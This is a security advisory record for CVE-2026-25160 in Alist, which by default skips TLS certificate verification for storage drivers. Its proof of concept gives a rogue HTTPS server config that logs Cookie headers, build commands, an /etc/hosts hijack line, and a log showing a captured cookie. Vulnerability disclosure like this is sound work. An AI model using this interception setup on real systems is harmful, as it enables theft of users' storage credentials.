CVE-2026-25160: Github.com/alist org/alist/v3 Alist Has Insecure TLS Config Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8jmm-3xwx-w974",
  "modified" : "2026-02-04T21:56:50Z",
  "published" : "2026-02-04T18:41:26Z",
  "aliases" : [ "CVE-2026-25160" ],
  "summary" : "Alist has Insecure TLS Config",
  "details" : "### Summary\nThe application disables TLS certificate verification by default for all outgoing storage driver communications, making the system vulnerable to Man-in-the-Middle (MitM) attacks. This enables the complete decryption, theft, and manipulation of all data transmitted during storage operations, severely compromising the confidentiality and integrity of user data.\n\n### Details\nCertificate verification is disabled by default for all storage driver communications.\n\nThe `TlsInsecureSkipVerify` setting is default to true in the `DefaultConfig()` function in [internal/conf/config.go](https://github.com/AlistGo/alist/blob/b4d9beb49cba399842a54fcc33bc95a4a09b7bd4/internal/conf/config.go#L159).\n\n~~~go\nfunc DefaultConfig() *Config {\n    // ...\n    TlsInsecureSkipVerify: true,\n    // ...\n}\n~~~\n\nThis vulnerability enables Man-in-the-Middle (MitM) attacks by disabling TLS certificate verification, allowing attackers to intercept and manipulate all storage communications. Attackers can exploit this through network-level attacks like ARP spoofing, rogue Wi-Fi access points, or compromised internal network equipment to redirect traffic to malicious endpoints. Since certificate validation is skipped, the system will unknowingly establish encrypted connections with attacker-controlled servers, enabling full decryption, data theft, and manipulation of all storage operations without triggering any security warnings. \n\n\n\n#### PoC\nThe /etc/hosts file was modified to simulate DNS hijacking and redirect www.weiyun.com to a malicious TLS-enabled HTTP server.\n\nThe purpose of this Proof of Concept is to demonstrate that the Alist server will establish communication with a malicious server due to disabled certificate verification. This allows interception and theft of authentication cookies used for communicating with other storage providers.\n\n[Video](https://github.com/user-attachments/assets/5b042db0-d830-41d9-9cec-d2ba677ac53d)\n\n\n\n##### Setup a malicious https server:\n\nssl.conf:\n~~~\nLoadModule ssl_module modules/mod_ssl.so\nLoadModule log_config_module modules/mod_log_config.so\n\nListen 443\n\nLogFormat \"%h %l %u %t \\\"%r\\\" %>s %b Host:%{Host}i User-Agent:%{User-Agent}i Referer:%{Referer}i Accept:%{Accept}i Cookie:%{Cookie}i\" headers\nCustomLog \"/usr/local/apache2/logs/headers.log\" headers\n\n<VirtualHost _default_:443>\n    DocumentRoot \"/usr/local/apache2/htdocs\"\n    ServerName localhost\n\n    SSLEngine on\n    SSLCertificateFile \"/usr/local/apache2/conf/server.crt\"\n    SSLCertificateKeyFile \"/usr/local/apache2/conf/server.key\"\n\n    ErrorLog \"/usr/local/apache2/logs/ssl_error.log\"\n\n    <Directory \"/usr/local/apache2/htdocs\">\n        Options Indexes FollowSymLinks\n        AllowOverride None\n        Require all granted\n    </Directory>\n</VirtualHost>\n~~~\n\nDockerfile:\n~~~\nFROM httpd:2.4\n\n# Copy SSL config\nCOPY ssl.conf /usr/local/apache2/conf/extra/ssl.conf\n\n# Include SSL config in main httpd.conf\nRUN echo \"Include conf/extra/ssl.conf\" >> /usr/local/apache2/conf/httpd.conf\n\n# Copy certs\nCOPY certs/server.crt /usr/local/apache2/conf/server.crt\nCOPY certs/server.key /usr/local/apache2/conf/server.key\n~~~\n\nScripts to run https server:\n\n~~~bash\nmkdir certs\nopenssl req -x509 -nodes -days 365 \\\n  -newkey rsa:2048 \\\n  -keyout certs/server.key \\\n  -out certs/server.crt\ndocker build -t httpd-ssl .\ndocker run -dit --name my-https-server httpd-ssl\n~~~\n\n##### Run alist\n~~~bash\ndocker run -d --restart=unless-stopped -v /etc/alist:/opt/alist/data -p 5244:5244 -e PUID=0 -e PGID=0 -e UMASK=022 --name=\"alist\" alist666/alist:latest\n~~~\n\nSimulate DNS hijacking: Modify container's /etc/hosts to redirect www.weiyun.com to malicious server\n~~~\n<IP of HTTPS Server>      www.weiyun.com\n~~~\n\nIn the front end, add a weiyun storage and inspect log on tls server:\n~~~\nroot@f6d0f5bebe60:/usr/local/apache2# cat /usr/local/apache2/logs/headers.log\n172.17.0.3 - - [30/Oct/2025:03:52:58 +0000] \"GET /disk HTTP/1.1\" 404 196 Host:www.weiyun.com User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Referer:- Accept:- Cookie:WhatEverSecret=\n~~~\n\nNote that the cookie is in the log.\n\n### Impact\nThis misconfiguration allows attackers to perform man in the middle attack, which potentially leads to the complete decryption, theft, and manipulation of all data transmitted during storage operations, severely compromising the confidentiality and integrity of user data.\n\nThis vulnerability affects all alist deployment.\n\n### Credit\nThis vulnerability was discovered by:\n- XlabAI Team of Tencent Xuanwu Lab\n- Atuin Automated Vulnerability Discovery Engine\n\nIf there are any questions regarding the vulnerability details, please feel free to reach out for further discussion at xlabai@tencent.com.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/alist-org/alist/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.57.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/AlistGo/alist/security/advisories/GHSA-8jmm-3xwx-w974"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25160"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/AlistGo/alist/commit/69629ca76a8f2c8c973ede3b616f93aa26ff23fb"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/AlistGo/alist"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/AlistGo/alist/releases/tag/v3.57.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-295" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-04T18:41:26Z",
    "nvd_published_at" : "2026-02-04T20:16:06Z"
  }
}